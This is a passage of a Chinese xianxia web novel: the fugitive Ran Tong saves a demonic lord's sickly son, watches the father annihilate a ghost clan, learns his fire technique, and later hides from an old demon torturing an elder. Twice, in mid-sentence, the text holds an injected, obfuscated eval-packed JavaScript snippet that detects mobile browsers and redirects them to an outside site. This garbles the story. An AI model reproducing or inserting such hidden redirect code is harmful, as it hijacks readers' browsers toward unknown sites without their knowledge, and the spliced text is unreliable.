“小姑娘,你真不该救我。” 他嘤嗡喘息,全然成年人的语气。 修真界不可以貌取人,冉彤想这小男孩多半比她岁数大,忙将其放回树根上,问:“前辈,你在这儿停留多久了?会有人来接你吗?” 小男孩睁开双眸,眼神驯良忧郁。 “快走吧,当心危险。” 冉彤疑惑不安,还欲询问,一道流星般的烈焰凭空直坠头顶。 她倒身后撤,狼狈地撞在另一棵大树上,刚才置身的地点已被烧出茶杯大的深孔,洞孔边缘的泥土融化成岩浆,汩汩往外冒,而近在咫尺的男孩毫发未损。 劲敌来袭,她慌忙出逃,立刻撞上一面隐形墙壁,那阵法内外颠倒,只进不出。 再想故技重施靠真雷突破已来不及了。 空中降下一团黑云,演化成一个身高丈余,青袍银甲,豹头环眼,满脸络腮胡子的黑面壮汉。 他一落地,周围草木遽然焦枯,似经烟熏火炙,枝叶化作飞灰飘零。天光大亮,冉彤却不断寒颤,上下牙齿直打架,教黑汉威猛的灵力和凶暴眼神镇住了。 “哪儿来的野丫头,找死!” 壮汉朝她挥起砂锅大的拳头,冉彤看不清他余下的动作,只听男孩高呼:“住手!”,那筋肉暴鼓的铁拳在她眼前停顿,拳风推着她后飞一丈又撞又摔,额头破裂,脑子险些被震散了。 男孩紧接着喊:“阿爹,是这小姑娘救了我,你切莫伤她!” 壮汉嘴脸立变,抱起男孩,温柔急切地关问:“万岁,你没事了?哎呀,可把为父急坏了。” 标准的慈父口吻,可称呼自己的儿子“万岁”也着实离谱。 壮汉听男孩说冉彤赠灵药为其缓解病痛,便施法将她拉到跟前跪下,粗声审问:“丫头,你给我儿子吃了什么?” 他的修为比烈阳城的蕉鹿道长还强,功法邪门,八成是魔道高人。 冉彤急于化解敌意,老实交出剩余的白泽内丹。 壮汉不看则矣,一看重现暴怒,掐住她的脖子,拎得她双脚悬空,怒骂:“好哇,原来你跟那帮死鬼是一伙的!” 男孩惊忙阻止,壮汉苦口解释:“我儿有所不知,这就是为父苦寻多年的泽兽内丹。前些时候刚到手便教几个鬼修使诈盗去。为父带你来这儿正为了追捕这伙毛贼。方才搜遍方圆百里未找到他们的踪迹,没想到这丫头会送上门来。” 男孩急道:“这姑娘不是鬼修,你有话好好说,休要错怪人,快放开她!” 壮汉很宠儿子,闻言松手,冉彤跌落坐倒,已弄清原委。 张丽娘说这白泽内丹是陆山君从一名邪修手里夺来的,此人想必就是失主了。 她揉着脖子上乌青的指印,咳喘辩解:“前辈息怒,晚辈知道您说的那伙鬼修,为首的叫陆山君,住在东边三百里的平岗下。前阵子晚辈遭他儿女绑架,差点丧在他们手里。昨晚侥幸反杀成功,逃到这里,临行前拿走了一些财物,其中就有这白泽内丹。既是前辈失窃的,现下物归原主,还请前辈念在晚辈救治令郎的份上高抬贵手。” 壮汉一面听她说话,一面审视她,打断质问:“你不是刚上了离恨天通缉令的冉家小丫头吗?原来躲在这里。” 冉彤喉头发紧,试探:“前辈想抓晚辈去领赏?” 壮汉啐道:“呸,离恨天那帮杂种比猪狗还脏,老子不屑同他们打交道。” 瞧这声口跑不了是邪魔外道,冉彤放心同时又悬心,不敢草率发言。 壮汉又问:“你才十八岁,干了什么了不得的勾当被那帮杂种满世界追杀?” 冉彤想假如能脱险,今后还会多次遇上同样的提问,魔道和离恨天势不两立,不妨直说。 “晚辈没做错什么,是离恨天纵容昌宁云家害死晚辈的爹娘,又想来害我。晚辈受尽磨难,十死九生才保住性命,正想远遁世外寻个栖身之地。” 一席话催增男孩的恻隐之心,更积力袒护她,劝说父亲:“阿爹,她真的很可怜,你快别难为人家,放她去吧。” 壮汉柔声教导:“我儿心善,焉知她没撒谎?离恨天可恶,但他们要杀的人也未必是好东西,断不可错放了。” 他自有主意,喝令冉彤带他们去陆山君的巢穴。 “待我查看情况属实自会放了你,如若不然便送你去阴间与你爹娘团聚。” 14.三途烽燹 他这做法还算讲道理,冉彤顺从带路。小男孩不让父亲抱,指着她说:“我要她背我。” 壮汉大乐:“我儿终于懂事了,晓得亲近女人了。” 喝令冉彤:“好生伺候我儿子,他少了一根头发我就拧断你一根骨头。” 小男孩没等冉彤吱声,抬头问她:“小姑娘,你有剃刀吗?” 她狐疑瞪视,小男孩板起脸对壮汉说:“我先把头发剃光,免得你找借口伤人。” 这小不点头顶只齐冉彤的大腿根,和壮汉对比俨然老虎和兔子。 可雄赳赳的老虎对小兔子又爱又怕,唯恐儿子不高兴,窘促讨饶:“为父说笑的,只要这丫头老实听话,为父绝不难为她。” 小男孩不理他,和气地恳请冉彤:“你能背我走吗?” 他的任性似乎只针对父亲,对外人谦和文雅,但照理说讲礼貌的人不会提这种要求。 冉彤哪有资格拒绝,恭敬地背起小男孩,御风寻找来时的路。 壮汉跟在后头,不时吆喝:“丫头你飞稳些,别颠着我儿子!” 飞出二三十里,小男孩在冉彤耳边悄声说:“小姑娘,待会儿我阿爹若要加害你,你就拿我做人质吧。” 冉彤惊讶,心想:原来他想救人才让我背着他。看来他也怀疑我在撒谎,就这样还想保护我,真是慈悲心肠。 她趁机打探:“晚辈实无歹意,更不敢欺瞒令尊和前辈,二位看来都是通情达理之人,可否容晚辈请教尊姓大名?” 小男孩回道:“你刚听我阿爹叫我了。唉,我天生患有不足之症,病弱难养,阿爹盼我长寿给我起了这么个怪名,让你见笑了。” 冉彤大胆追问:“敢问令尊名讳。” 万岁沉默数息,告诫:“你早点离了我们远去方是万全之策,知道得多了有害无益。” 冉彤了然,猜到他爹是大有来头的恶人,就此缄默。 少时听壮汉责吼:“丫头你干嘛老往林子里钻,速度比蜗牛还慢,得飞多久?” 冉彤忙解释:“晚辈现是逃犯,须隐蔽赶路,飞太高恐为人察觉,而且速度越快风越大,恐令郎经受不住。” 壮汉道声:“说得也是。”,取出一艘桃核雕刻的金色小船,往空一抛变作三丈长九尺宽的华丽飞舟,命她随同登船。 飞舟升空,压着林海疾驰,行进速度比刚才提高四五倍,有遁光防护,船上人感受不到丝毫风力。 船身映着日光,金灿耀眼,宛如穿梭的星子,十几里外看去也很醒目。 小男孩劝说:“阿爹,冉姑娘说得对,你如此招摇恐惹麻烦。” 壮汉豪迈道:“我儿莫忧,为父这些天心里不痛快,正想找人打架,最好能引来几个硬茬子。” 说着扯出一面墙壁大的旗幡悬于船尾,旗幡叫大风拉平扯直,墨黑的底色中央画着一只滴血的大眼睛,眼周分布日月星辰图 案,旗帜四边装饰白色的波浪纹。 冉彤坐着还能掩饰腿软,却难藏住脸庞的鸡皮疙瘩。 这是七曜城的魔眼幡! 人界分为东西两座大陆,包括枫林州在内的六个州位于西大陆,隔着三万里灵渊海的东大陆上是另外四个州,西南边缘的叫泰和州。 泰和州南部边陲上耸立着天下第一雄关辰戌关,关外纵深十万里是名为“归墟”的蛮荒之地,历来被魔道修士占领。 千年前一位名叫白子落的大修士吞并了魔道各大割据势力,在归墟建立起数个据点,将规模最大的一座城池命名为“七曜城”,作为他和心腹们的大本营。 这白子落自称“万象圣尊”,是唯一能与离恨天分庭抗礼的魔道巨擘,统御众多强兵悍将,最得力的十大爪牙号称“十柱石”,每一个都有极境后期修为,都是令修真界谈之色变的邪魔。 冉彤料想这壮汉就算不是“十柱石”之一,也是七曜城的高手,不仅得罪不起,教人发现她与之同行,这勾结魔道的罪名便坐实了。 壮汉明知她胆怯,故意问:“冉丫头,你可认得这面旗?” 名门子弟装不了这份糊涂,冉彤局促道:“原来前辈来自七曜城,请恕晚辈眼拙失敬。” 壮汉大笑:“我跟冉家好几代家主打过交道,一代比一代孬,你那伯父冉松坚更混成了三脚猫,反不如你这小丫头争气,能爬到离恨天的通缉令上去。” 结合他的身份,这夸奖大约真情实感。 妖女虽多,能劳驾离恨天兴师动众的甚少,冉家近一千年来也只有冉彤享受这一待遇。 没能光宗耀祖却做到了恶名远扬,要是这辈子注定短命,用这件事报复伯父一家也值得。 “万岁”不满父亲言论,老成警告:“阿爹,这次出门前君上再三告诫不许你招摇生事,离恨天近日正秘密搜捕要犯,七殿精锐四处活动,若在此遭遇说不得要掀起一场是非。” 他搬出万象圣尊弹压,壮汉态度更软,苦笑:“还是我儿稳重,离恨天的狗杂种不足为虑,但君上的话咱们不能不听,多亏你提醒帮为父免了不敬之罪。” 他收起魔眼幡,不止对儿子言听计从,也体现出对主子的入骨忠诚。 冉彤暗道:他能得万象圣尊重视,职位一定不低,莫非真是“十柱石”? 飞舟须臾行过三百里路途,陆家的庄园举目可见。 冉彤听到那里隐隐传来女人的惨叫,以神识观望,惊见张丽娘被吊在庄园大门前的大树上,下方篝火高烧,火舌够不着她,升腾的火气已烧光她的衣物,燎得她浑身焦黑起泡。 鬼魂最怕雷火,凡鬼经不住火燎,受刑时感受的疼痛比活人更甚。 冉彤跳下飞舟赶过去,撕开烧焦的人皮,救出张丽娘,用凝魂珠医治她。 “张大娘子怎么回来了?谁把你绑起来的?” 张丽娘没心思喊疼,声若游丝示警:“是老鬼的亲戚抓我回来的,你快逃……” 话音未落,推墙倒树的阴风刮到冉彤后脑勺,她纵身侧跃,刚好落入敌人的包围圈。 一共来了七只鬼,为首的黄衣老鬼修为和陆山君相当,身旁衣着富态的银发老鬼婆像他长辈,修为稍逊一筹。 其余一女四男样貌年轻,都是臻境修士。 那小女鬼看来十七八岁,姿色不及杏姑,神气比后者更凶恶,指着冉彤泼骂。 “就是你这小妖女害死我梅儿哥哥,看我不把你碎尸万段!” 冉彤见壮汉没跟来,情知群鬼出手自己必死,忙用计拖延,大声说:“明人不做暗事,你们找我报仇也该先亮明身份!” 老鬼婆拦住小女鬼,冷笑着知会黄衣老鬼:“儿子,这丫头说得有理,你就让她死个明白吧。” 黄衣老鬼应声:“是”,冲着冉彤厉色叫骂:“妖女,老夫姓程,老陆是我的结拜弟兄,我娘的干儿子。梅哥杏姐儿是老夫未来的女婿和干女儿。被你一起害死,这笔帐杀你十次都不够还!” 陆山君和程家认亲多年,原想邀请程老鬼为其护法。 程老鬼惧怕天雷,借故推脱,今早估摸着陆山君渡劫完毕,阖家前来探望。 来时见人去屋空,在后山的平岗找到老陆一家三口丧生的遗迹,推测他们为人所害,便分头追凶,稍后抓到步行未远的张丽娘,逼问得知夜间之事。 小女鬼便是程老鬼的女儿湘绮,恨冉彤害她做了望门寡,怨愤尤胜旁人,不待父亲说完先举起一对铁锤砸向仇人。 冉彤遁地逃避,程老鬼施展地牛术震动地壳。 她藏不住破土钻出,匆忙躲避湘绮追击,望空急嚷:“前辈,您现在该相信晚辈了,还请开恩搭救!” 湘绮以为她虚张声势,詈吼:“妖女还想耍花招?受死!” 裹挟阴气的铁锤左右夹击冉彤头颅,冉彤发动天罡真雷,湘绮未有防备,雷力贯穿铁锤震裂她的双臂。 程老鬼见爱女受伤,暴怒来袭。 他法力远远胜出,煽动阴风克制真雷,甩出一根蛟龙筋捆住冉彤。 那蛟龙筋如同活物狠狠勒缠,转眼勒破皮肉,箍得冉彤浑身骨头格格作响,再过片刻就会被活活肢解。 昨晚她全力以赴才挣断那根失去陆山君法力加持的蛟龙筋。 此刻这根蛟龙筋在程老鬼操控下强韧十倍不止,她纵有力气破坏耗时也不短,在那之前早没命了。 她伤痛剧烈,忍不住放声呻吟。 湘绮欢畅叫嚣:“爹,别这么快弄死她,陆叔叔和梅哥哥死那么惨,必须让这妖女多受些罪!” 又凶狠逼吼冉彤:“妖女快求饶啊,多说些悔过的话,我就让爹赏你个痛快!” 威胁激发了冉彤的桀骜天性,忍痛对骂:“那陆老鬼一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311149|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害我在前,死了都是自作自受!你们也一样,害人者终害己,陆老鬼就是你们的榜样!” 众鬼恼怒,程老鬼施加压力,冉彤不要命地催动内丹以真雷抵御,敌我实力悬殊,但有克化之道为前提,程老鬼一时竟推进不了,形成僵持之势。 当着全家老小,他深感丢脸,恼羞成怒地动用全力。 冉彤血流如注,周身衣物染成红色,血雨落地四溅,意识模糊了。 大脑停止思考,接受本能和野性指挥,疯狂释放丹力,心道:大不了爆丹和他们同归于尽。 一面怒吼讽刺龟缩不出的壮汉:“什么七曜城,不过是些只会说大话的孬种!这会儿还不露面!该不是怕了这群死鬼!” 鬼修们只当她死前发疯乱嚷,眼睛陡然一花,程老鬼身后闪出一名须如猬毛的青衣壮汉,蒲扇大的右手猝然捏住他的脑袋。 程老鬼法力顿失,如同煮熟的鱼,每寸肌肉都绵软了。 其余鬼本想解救,行动前一刻程老鬼浑身燃起黑火,那由诡异灵力构成的炎气眨眼间将程老鬼的躯壳焚化殆尽。 壮汉捏住老鬼吱吱惊叫的残魂,揶揄跌落在血泊里的冉彤:“小丫头还有点骨气,算我小瞧你了。” 冉彤方知他迟迟不现身,是疑心她和程家鬼们配合演戏,非等到她命悬一线才做出判断,当真粗中有细。 壮汉轻松捏碎程老鬼的魂体,犹如凡人拍死一只小虫子,这比喻也可用来形容双方的实力差距。 众鬼惊骇,老鬼婆最恐悚,她认得来人的招数。 “三途烽燹!阁下莫非是‘寸草不生’秦不羁?” 听到这个名字,冉彤不禁发笑。 秦不羁在七曜城“十柱石”中排行第三,她随便走走都能碰到这等大人物,算走运还是倒霉? 大难不死必有后福,秦不羁现身她大概率不用死了,且安心看好戏。 小鬼们听老鬼婆道出对方身份如遭雷击,脸色刷然变青变白,暴露死人本色。 秦万岁跑到冉彤身边,取出白泽内丹喂她,歉意道:“对不住,冉姑娘,我们来迟了。” 秦不羁心疼灵药,委婉埋怨:“万岁,泽兽内丹是用来为你保命的,为父这儿有的伤药给她啊。” 他先前不听儿子催促,有意拖延不救冉彤。 秦万岁很窝火,正色顶撞:“阿爹若早些出面,冉姑娘绝不会受重伤。我早说她是好人,你偏要瞎疑心,连亲生儿子的话都不信,孩儿真替你难过。” 秦不羁嘿然无语,生怕宝贝不开心,立马迁怒众鬼。 “都怪你们这帮死鬼,好好的干嘛跑来这里,还围攻这小丫头!” 老鬼婆识时务,忙向秦不羁示弱:“我等不知阁下到此,失礼冒犯,罪该万死,望阁下大人不计小人过,许我等告退。” 她诚惶诚恐,压根不敢为遇害的儿子出头,只求脱身保命。 秦不羁懒得回头看她,凶恶道:“这家死鬼偷了老子的东西,你们既是他们的亲戚,正好代他们受过。” 老鬼婆仓皇争辩:“我们与姓陆的算不得正经亲戚,若早知他开罪了阁下,我等定会替阁下惩治他,还请阁下明鉴!” “哼,你刚刚不也说尔等罪该万死?啰嗦什么!?” 秦不羁满身黑气喷涌,杀机弥漫,万夫莫当。 老鬼婆顾不上招呼小辈,化作黑烟逃遁,立刻被秦不羁的灵力束缚,其余鬼有一个算一个,都像落在蜘蛛网上的飞蛾动弹不得。 秦万岁不慌不忙取出一张符箓释放防御法阵罩住他和冉彤。 冉彤见秦不羁要放大招,攻击范围必然不小,急速冲出法阵捡回凝魂珠和张丽娘的魂体。 “阿爹!等一下!” 秦万岁呼唤父亲稍停,秦不羁暂时收住勃发的灵力,厉声催喝:“冉丫头,跑快点!” 冉彤奔命般逃回法阵,越界的一瞬,身后掀起滔天火浪,黑火似洪流奔逸呼啸,吞天卷地,所有事物触之湮灭。 鬼修们无论修为高低一齐身陨魂散,相信人数再多十倍百倍,结果也一样。 “三途烽燹”是万象圣尊创立的顶级魔功,威震修真界上千年,正道修士若想领教,通常需要赔上性命。 能近距离观看到这一震撼场面,冉彤觉得方才吃的苦头很划算,并预感她将再一次因祸得福。 15.重逢 俄尔,黑火消退,方圆百丈地全化焦土,陆家阔气的庄园被夷为平地,连砖头瓦块都没剩下。 “寸草不生”的绰号恰如其分。 防御阵解除,冉彤感觉阵外空气清凉,未有热力残留,脚下的灰烬也是凉的,完全没有刚刚遭受焚烧的迹象,这“三途烽燹”真与众不同。 秦不羁对儿子说:“万岁,此间事已了,我们走吧。” 他蔑视冉彤,气撒够了便不屑理会。 冉彤吃过大亏,已形成锱铢必较的心态,毅然叫住他。 “前辈请留步!” 秦不羁不耐烦地斜睨过来,眼中的凶悍之气不比之前少多少。 冉彤没怯场,镇定道:“前辈此刻想必已解除对晚辈的误会了,那么是不是应该给晚辈一点奖赏?” 以她的身份说这种话可谓放肆。 秦不羁冷嗤:“你在教老子做事?” 灵力威压立时刺痛冉彤的皮肤,她稍加权衡,保持赌徒心理,恭敬辩解:“晚辈只想知道前辈是否如晚辈设想的那般讲道理。” 秦不羁咧嘴大笑:“死丫头还敢拿话激老子,也罢,你救了我家万岁,我是该论功行赏。那就满足你一个愿望吧,只要别危及我们七曜城的利益,一切都好说。” 冉彤大喜,果断提要求:“那就请前辈传授晚辈‘三途烽燹’,另外帮晚辈送这位张大娘子回烈阳。” 炼化内丹耗时漫长,至少还得等四五十年天罡真雷方可发挥十成威力,在此之前她需要厉害的功法傍身。 一流功法可遇不可求,今日教她得见“三途烽燹”,定是老天爷指路。 秦不羁皱眉:“说了只满足一个愿望,你还敢给老子涨价?” 冉彤微笑:“前辈又错怪了,晚辈本想请您替我杀光云家全族,又觉得这要求难度太高,俗话说便宜不可占尽,倒不如提两个简单的来兑换。您不认为晚辈这想法很合理吗?” 她讨价还价的本事比修为高多了,秦万岁莞尔,帮忙说项:“阿爹,孩儿看冉姑娘做事很有分寸,你自来重信义,就允了吧。” 秦不羁承认冉彤很有几分小聪明,笑道:“送人这等小事不值一提,可凭你的能耐想学‘三途烽燹’就好比毛毛虫想登天,纯属做梦。我这里有几样简单易学的功法,你挑一挑吧。” 冉彤坚定道:“俗话说宁吃仙桃一口,不要烂杏一筐,晚辈方才观睹前辈神功便立志修习,只求了解其中奥义,待日后自行参悟,万望前辈成全!” 秦不羁罕见地拿出耐性来说明:“你当我主万象圣尊开创的功法是那么好学的?连我都是到了化境后期才得窥门径,你才这么点修为,就是得到全本秘笈也只能当废纸用。” 冉彤抬起头执著保证:“前辈传授晚辈秘笈即可,毛虫尚能破茧化蝶,晚辈自信假以时日定能运用自如,绝不会辱没了这门神功!” 说完跪地叩头,抓紧良机不松手。 秦不羁还犹豫,秦万岁说:“阿爹,你不是总遗憾孩儿病弱,不能承袭你一身本领吗?难得遇上冉姑娘这样有志气有毅力的后辈,你就教教她,只当留个传承也是好的。” 秦不羁还有顾虑:“我儿说的在理,可这功法未经君上准许,不宜外传啊。” 秦万岁半真半假挤兑:“你既咬定她学不会,那没教成功就不算外传啊。假设她日后学会了,您再让她正式拜师做您的入室弟子,想来君上即便知晓也不会严责。” 他转向冉彤递话头:“冉姑娘,我说的这个办法你可接受?” 冉彤看透云家、离恨天的卑劣嘴脸,又得到过算命老太婆的救助,早已淡化正魔之见。 秦不羁法力高强,还有仁厚的秦万岁做保,她巴不得当场拜入门下,给自己寻个大靠山,欣然表态:“若前辈不弃,请现在就将晚辈收入门墙!” 秦不羁瞧不上她,甩手拒绝:“秦某又不是跑江湖的混子,随便什么阿猫阿狗都能收做徒弟。看你这么有心,我将‘三途烽燹’传你便是。但我还要带万岁去治病,只能给你七天时间,能学到什么程度全凭你的造化。” 冉彤再度磕头致谢,被秦万岁劝止。 “阿爹没收你做徒弟,你不用给他行大礼。” 他才真是不想占人一点便宜,顶着幼童的外表,内在却是个谦谦君子,冉彤不禁为其惋惜,思忖往后若遇机缘可帮他求医问药。 秦不羁看看烧成白地的现场,啧嘴:“这地方还算清静,就在这儿住七天吧。早知道便留下这宅子了,如今还要费事。” 他做法盖起三间屋子,父子俩和冉彤各住一间,剩一间做伙房,室内家具用品一应俱全。 “我儿身子骨弱,这七天你就做他的丫鬟,端茶做饭伺候着。” 冉彤刚答应,张丽娘自告奋勇插话:“三小姐,你是娇生惯养的千金,哪儿会伺候人啊。还是我来吧,我最会照顾小孩子了。” 她见秦万岁温柔亲切,模样与自家小儿子有几分挂相,母爱萌动,顺便替冉彤代劳。 秦不羁鄙弃:“你个死鬼婆都不成人形了,怎么伺候人?” 张丽娘忙说:“陆老鬼藏宝的地窖兴许还在,奴家去里面寻一张人皮穿上就会变得与活人无异了。” 那宝库距离地表三丈多,还完好无损,清理出入口便能进去。 三人一鬼就这样住了下来,那秦不羁倒是言行一致,教授冉彤功法时有问必答,毫不含糊。 奈何“三途烽燹”过于深奥,以冉彤的水平多数时候只能死记硬背,学到第三天才懂了些皮毛。 晚上打坐时她琢磨后计,寻思:我连续被陆老鬼和秦不羁认出身份,说明通缉令已遍及各地,不乔装易容寸步难行,得趁这几天还有秦不羁保驾,赶紧学会换皮术。 换皮术可简单多了,入门只花了一个时辰。 她脱光衣服,对着镜子披上美女修士的皮,登时改头换面。 那姣好秀丽的面容比以美貌著称的二堂姐冉芳姿还娇媚些,直把她看呆住。 “很少见到这么迷人的女子,难怪杏姑会中意。” 想到多半就是这副美丽的皮囊为那女修招来杀身之祸,冉彤唏嘘感慨,而后发现人皮存在几处不足。 她和那女修身量相仿,但腿没人家长,腰没人家细,屁股和胸比人家扁平,导致人皮这两处部位有些松垮。 张丽娘知道以后帮她补救,找来几张肤色相近的人皮剪裁缝合。 她女红手艺精湛,将人皮修改得天衣无缝,除非赤身裸体任人检查,否则看不出破绽。 修改人皮的过程中,她们看到人皮左后腰的位置上有个指甲盖大的凹坑,曾遭穿孔,经过修补仍留有痕迹。 冉彤见那凹坑周围布满细如牛毛的淡红色裂纹,最长的向外延伸了两三寸,委实古怪得很。 她拿着人皮去向秦不羁请教。 秦不羁看了两眼下结论:“这是‘飙霆刺’嘛,几百年没见过了。” 很久以前百花州有个名叫“青阳门”的门派以雷系功法见长,这“飙霆刺”是他们的镇派功法。千年前“青阳门”覆灭,门人流散,所创立的功法渐渐失传了。 “‘飙霆刺’功力越强,刺出的孔洞越大,看这伤口的大小,施术者只练到一二重境界,但也足以致死这个女修了。” 冉彤纳闷:“这么说这是她的致命伤了?鬼修不能使用雷系功法,那此人不是陆老鬼他们害死的,凶手另有其人。” 秦不羁嘲谩:“你吃饱了撑的想这些作甚?她跟你无亲无故,你还想替她报仇不成?赶紧回去钻研这几天的课程,说好只教你七天,过时不候。” 冉彤知道他一心等着奚落自己,心中不服,拼劲更足,每晚绞尽脑汁研究,想不通的地方便连猜带蒙试验,不厌其烦,不辞苦痛地用功,到第七天中午还真被她瞎猫撞上死耗子,成功凝结出一朵鹌鹑蛋大小的黑火花。 “前辈!您看这样对吗!?” 她欣喜激动地请秦不羁检阅,一时忘记满身的烧烫伤。 秦不羁暗自惊讶,问她如何上手的。 冉彤交代运功方法,她对功法的理解很肤浅,全靠独立摸索,试错千百次,终于歪打正着。 听完她的心得体会,秦不羁忍不住称奇:“你这丫头脑子够用,运气也不错,总算摸到门槛了。但这点效力连凡人都伤不到,想在实战中运用还早得很那。” 冉彤已很满意,求他透露提升功力的窍门。 秦不羁说:“厉害的功法没有速成的,你必须勤练基本功,像种庄稼那样用灵气灌溉这朵‘黑火’,累积个十年八年或许能有小成。” 至此他已认可冉彤的资质,动了收徒的念头,可此前话说太满,再主动提出来未免太打脸,教完最后一堂课,问冉彤:“你接下来有何打算?” 冉彤听出关心之意,忙趁机攀交情,露出无助神情:“晚辈朝不保夕,走一步算一步吧。” 她怕再提拜师又遭拒绝,先尽量装可怜。 秦不羁想了想说:“你要是实在没地方去,就想办法出辰戌关,到七曜城来找我,我还可以给你指条出路。” 他丢给冉彤一枚寒星铁打造的腰牌,牌上刻着“天瞳卫”三个字。 万象圣尊座下有四大亲卫队,分别是“天瞳”、“地目”、“玄眼”、“黄睛”,成员都是经过层层选拔的精英。 “往后若有魔道中人找你麻烦,你就亮出这牌子再报上我的名号,他若忌惮我七曜城,必不敢为难你。” 万象圣尊问鼎魔道,“寸草不生”秦不羁是他众所周知的亲信,哪个魔修敢触他们的霉头? 冉彤可算找着靠山,喜滋滋谢恩收下。 聚散有期,次日双方话别。 秦不羁额外提点:“你这点本事走江湖等于泥娃娃淋雨,还是先在深山里避避风头吧。朝正南方走五百里有十座相连的大山,贯穿群山的沟壑叫做青龙沟。那里灵气稀薄,但胜在没有人烟妖兽,还算安全。我送你一瓶辟谷丸,每月吃一粒便无需进食,这一瓶够你吃两年了。” 冉彤欢喜收下,没想到还有意外之喜。 秦万岁递给她一面比成人掌心略小的圆形铜镜。 “此镜名‘映真’,贴身带着可反弹他人的神识探查,配合你的换皮术使用,凡是法力低于我主万象圣尊的都识不破你的真身。你用镜子照人则可映出对方的本来面目,只要是法力不及我主的易容换形术都会被破解。” 秦不羁惊忙劝阻:“万岁,这法宝是君上所赐,你怎能转手送人呢?” 秦万岁执拗道:“君上把它赐给我就是我的东西,我爱给谁给谁。” 他见冉彤不敢接,硬塞到她手里,含笑寄语:“冉姑娘,你有勇有谋,重情重义,比那些痴长年岁的庸人强百倍。吉人自有天相,我相信你终有振翅高飞的一天。” 七天相处下来,冉彤越来越喜欢这小孩外表的温柔前辈,认定他是自己的大贵人,衷心回赠祝福。 “还请前辈保重身体,若晚辈真有出头之日,定要当面拜谢您的恩典。” 秦不羁听她说话喜庆,一高兴便不计较镜子的事了。 冉彤目送他们乘飞舟离去,背上行囊向南出发,天黑前来到青龙沟。 山沟里的古河道已干涸多年,山地光秃荒芜,野草都很稀少,随处可见的是形状千奇百怪的顽石危岩,从空中俯瞰,整座青龙沟恰似一条腐朽的巨龙,两岸山间散落着它支离破碎的骸骨。 此地灵气几近枯竭,不宜人居,冉彤有神木牌做能源,无惧环境恶劣。 这数百里地界寻不到半个人、妖、鬼,偶有鸟群飞过,虫类鸣叫,常常终日荒寂,时间仿佛在这里停摆,她正好安心修行,不会受任何打扰。 她找了个能晒到日月光的平滩,垒出一间石室,用石头打造家具器皿,而后日夜勤奋不辍地修炼。 秦不羁说照我的修行速度十年内将小有成效,我有神木牌辅助,效率翻倍,没准三五年就能达到他预期的境界。 生存、复仇这两大动力最能促人发奋,冉彤遭难以来奇遇不断,先后得高人指教。 秦不羁自不必说,陆山君传授的行气法也颇有妙用,助她攻破了一些过去修行时迈不过的瓶颈。 数月后她已接近胜境中期大圆满,根基稳固,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323682|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎不再受丹力反噬,更将黑火炼到了鸡蛋大,能够融石锻金了。 兔走乌飞,倏忽一年将尽。 这天清晨她刚打坐完毕,东北方向突然传来一阵强烈的灵力震波。 震波过处山体晃动,岩壁垮塌,飞石乱滚,将她的石屋一角震出裂缝。 她首先排除天灾,推测彼处有高阶修士激战,犹豫片刻披上人皮前往查看。 沿着古河道行进百余里,前方河床上淌出一条红色的溪流,阳光将河道里的石块漂得亮晶晶的,衬得那红分外刺目。 溪水腥味浓烈,全是新鲜人血,由此可想源头处尸骨堆积如山。 冉彤停下隐蔽,改用神识探查。 一年苦修,她的神识覆盖范围扩大到方圆十里,刚好够到血溪的出处。 左岸的山岗上倒毙着数十具修士的尸体,他们血肉无存,仅剩一层枯皮,都没有挣扎迹象,似乎是在毫无防备的状态下骤然遇害的。 每个人的衣襟上都绣着金色的菱形图案,那是离恨天下设天枢殿的标志。 离恨天的修士最差也有臻境修为,谁能在一瞬间杀死这么多高手? 现场好像存在一座损毁的法阵,冉彤已无心深究,转身飙飞,预感青龙沟不再太平,准备回家收拾撤离。 飞出不远,正北方有灵力逼近。 她惶然降落躲到高大的乱石堆中,收敛神识,隐蔽气息。 将将藏好,一道疾光斜坠在河床上,显出一个身穿灰色斗篷的老修士,衣襟上也绣着天枢殿的标志。 冉彤认出那是天枢殿的长老,看情形吃了大亏,正遭敌人追杀。 灰衣长老踉跄走出两步,向四周投掷阵旗,紧急铺设防御法阵,想必身受重创,法力耗尽才出此下策。 冉彤害怕多过好奇,深恐巨人厮杀,踩死她这只小蚂蚱。可是逃跑暴露得更快,只得听天由命蜷缩着。 一滴冷汗落下,第二滴刚冒头,大量紫气乌泱泱地漫过山头,包围了山谷,方才摇山撼岳的灵力汇聚于此,核心传出洪亮的笑声。 “你已插翅难飞,还是放弃挣扎,乖乖受死吧。” 冉彤被那笑声唬得骨酥筋软,想起一年前古城遗迹里的噩梦之旅。 是那蓝衣老魔! 她抱住头,更用力团缩,不敢看不敢听,咬紧牙关,谨防牙齿因寒颤碰撞出声响。 我又要泰极否来了吗?竟与这魔头重逢!他的法力似乎比在古城时更强了! 那灰衣长老亦慌,色厉内荏地警告老魔:“老怪物,我们的援军就快到了,你逃不掉的!” 老魔脸上满含嘲讽,儳然道:“本座闭关一年,正想借你们这帮喽啰舒展筋骨。若非有话要审,早把你结果了。” 他轻轻一挥袖,法阵似蛋壳粉碎,紫气缠住长老,将他的身体扯成大字型,不住拉拽头颈四肢,实施车裂。 惨叫声穿云裂帛,冉彤想象那种剧痛,担心下一个受害者将是自己。 “你刚刚献祭百名手下的精血布阵偷袭本座,分明用了魔族功法,毗沙老贼什么时候跟魔界联系上了?快说!” 